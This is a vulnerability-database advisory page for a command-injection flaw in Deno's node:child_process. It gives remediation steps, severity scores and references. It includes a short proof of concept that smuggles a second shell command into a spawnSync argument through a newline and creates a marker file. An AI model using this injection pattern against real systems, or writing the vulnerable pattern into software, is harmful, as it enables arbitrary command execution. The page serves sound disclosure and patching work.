CVE-2026-27190 — Vulnerability in deno — CVE Details
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (3.64%). Schedule for your next planned update.
Does your project use an affected Deno version?
Paste your Cargo.lock to check it for CVE-2026-27190 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
Advisory Timeline
- First published February 19, 2026 (280 days ago).
- Last revised February 20, 2026 — 1 day after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
cargo update -p deno --precise 2.6.8
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: crates.io (1).
| Package | Fixed In |
|---|---|
| deno crates.io · Affected: All versions | 2.6.8 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-78OS Command InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hrWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-27190ADVISORY
- https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4cWEB
- https://github.com/denoland/denoPACKAGE
- https://github.com/denoland/deno/releases/tag/v2.6.8WEB
Frequently Asked Questions
- What is CVE-2026-27190?
- Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
- How do I check if my project is affected by CVE-2026-27190?
- CVE-2026-27190 affects deno. It has a 3.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27190 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This places it in the top 10% of EPSS-scored vulnerabilities — 90.3% of tracked vulnerabilities score at or below it, so it is substantially more likely to be exploited than most tracked vulnerabilities.
Also Known As
Related CVEs
- CVE-2026-44726HIGH
Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
- CVE-2025-21620HIGH
fetch: Authorization headers not dropped when redirecting cross-origin
- CVE-2025-61787HIGH
Deno is Vulnerable to Command Injection on Windows During Batch File Execution
- CVE-2026-22864HIGH
Deno has an incomplete fix for command-injection prevention on Windows — case-insensitive extension bypass
- CVE-2024-27936HIGH
Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping
- CVE-2023-22499HIGH
Deno is vulnerable to race condition via interactive permission prompt spoofing
- CVE-2023-33966HIGH
Missing "--allow-net" permission check for built-in Node modules
- CVE-2026-49411MEDIUM
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks